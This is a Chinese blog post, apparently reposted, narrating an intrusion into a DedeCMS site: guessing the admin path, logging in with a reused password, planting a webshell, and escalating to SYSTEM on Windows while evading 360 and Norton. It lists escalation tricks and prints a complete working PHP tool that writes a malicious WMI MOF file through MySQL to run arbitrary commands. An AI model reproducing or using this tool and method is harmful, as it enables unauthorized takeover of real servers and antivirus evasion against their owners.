一次绕过360+诺顿的提权过程

索引

0x01 获取webshell

0x02 绕过杀软提权思路

0x03 mof 提权原理

0x04利用mysql写入mof提权

0x05 总结

 

 

0x01 获取webshell

在一次渗透中,获取了内网主机若干,外网就只搞下2台主机,一直想对关键的业务服务器进行渗透,机缘巧合之下 看见目标主战居然是dedecms,版本比较新是20150507 的,手上没有0day,就靠基本思路后台--webshell来搞,先猜后台

/admin123
管理员名字+电话
/admin域名
域名+admin

域名+manage

猜到域名+admin 的时候,出来了dedecms的主站页面, 拿管理员的常用密码测试,进入后台获取webshell

0x02  提权
进去一看,执行cmd不成功,分析看看是什么原因导致的呢? 执行phpinfo();  看到disable_function这里把常用的敏感函数给禁止了
环境为apache+windows2008+诺顿+360,apache在windows上默认是已system权限上启动的, 也就是说我们的webshell能直接修改任意文件了,在shell翻到了mysql的root密码(默认情况下mysql也是root权限)

现在就有以下几种思路:

1.覆盖sethc或者放大镜
2.mysql udf提权
3.mof提权
4.替换常用软件,等管理员登录来点击
(添加shellcode)
5.在启动项里增加bat,或者远控,前提是远控要免杀, bat直接加管理员会被360杀 ,缺点是要等电脑重启,一般服务器重启至少得等10.20天,等来黄花菜都凉了···  要他重启还可以流量ddos,或者用php把他cpu耗尽,自然也重启了, 不过动作太大了 不太好。容易让管理员意识到有人攻击
6.dll 劫持

  试常用的sehtc劫持和放大镜劫持 直接被360干掉了,(本地360复现的)
测试mysql udf提权 提权的shell  被诺顿和360杀的不要不要的··惨··
测试替换常用软件 ,看见管理员已经10多天没有登录, 不知道等他登录要多久·· 而且免杀是个问题·· 远控不免杀··
测试启动项直接加用户,尼玛360又拦截··
问群里的大牛, 大牛说可以试试mof提权,

0x03 mof 提权原理

Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件,其中一种是

拖放到%SystemRoot%\System32\Wbem\MOF文件夹的 MOF 文件。

wmi 是可以调用WScript.Shell 的,WScript.Shell 可以直接调用cmd执行文件,提权

0x04 利用mysql写入mof提权

 

<?php
$path="c:/windows/system32/canimei";
session_start();
if(!empty($_POST['submit'])){
setcookie("connect");
setcookie("connect[host]",$_POST['host']);
setcookie("connect[user]",$_POST['user']);
setcookie("connect[pass]",$_POST['pass']);
setcookie("connect[dbname]",$_POST['dbname']);
echo "<script>location.href='?action=connect'</script>";
}
if(empty($_GET["action"])){
?>
<html>
<head><title>Win MOF Shell</title></head>
<body>
<form action="?action=connect" method="post">
Host:
<input type="text" name="host" value="192.168.200.144:3306"><br/>
User:
<input type="text" name="user" value="root"><br/>
Pass:
<input type="password" name="pass" value="toor"><br/>
DB:
<input type="text" name="dbname" value="mysql"><br/>
<input type="submit" name="submit" value="Submit"><br/>
</form>
</body>
</html>
<?php
exit;
}
if ($_GET[action]=='connect')
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>');
echo "<form action='' method='post'>";
echo "Cmd:";
echo "<input type='text' name='cmd' value='$strCmd'?>";
echo "<br>";
echo "<br>";
echo "<input type='submit' value='Exploit'>";
echo "</form>";
echo "<form action='' method='post'>";
echo "<input type='hidden' name='flag' value='flag'>";
echo "<input type='submit'value=' Read '>";
echo "</form>";
if (isset($_POST['cmd'])){
$strCmd=$_POST['cmd'];
$cmdshell='cmd /c '.$strCmd.'>'.$path;
$mofname="c:/windows/system32/wbem/mof/system.mof";
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")
instance of __EventFilter as \$EventFilter
{
EventNamespace = \"Root\\\\\\\\Cimv2\";
Name = \"filtP2\";
Query = \"Select * From __InstanceModificationEvent \"
\"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"
\"And TargetInstance.Second = 5\";
QueryLanguage = \"WQL\";
};
instance of ActiveScriptEventConsumer as \$Consumer
{
Name = \"consPCSV2\";
ScriptingEngine = \"JScript\";
ScriptText =
\"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";
};
instance of __FilterToConsumerBinding
{
Consumer = \$Consumer;
Filter = \$EventFilter;
};";
mysql_select_db($_COOKIE["connect"]["dbname"],$conn);
$sql1="select '$payload' into dumpfile '$mofname';";
if(mysql_query($sql1))
echo "<hr>Execute Successful!<br> Please click the read button to check the result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error());
mysql_close($conn);
}
if(isset($_POST['flag']))
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>');
$sql2="select load_file(\"".$path."\");";
$result2=mysql_query($sql2);
$num=mysql_num_rows($result2);
while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {
echo "<hr/>";
echo '<pre>'. $row[0].'</pre>';
}
mysql_close($conn);
}
}
?>

 

  

 

0x05 总结

猜后台>撞密码>webshell>提权 的一个过程

参考连接:

http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390
http://lcx.cc/?i=4048
http://blog.csdn.net/yiyefangzhou24/article/details/11760277

 

转载于:https://www.cnblogs.com/miaomiaoxia/p/5477281.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值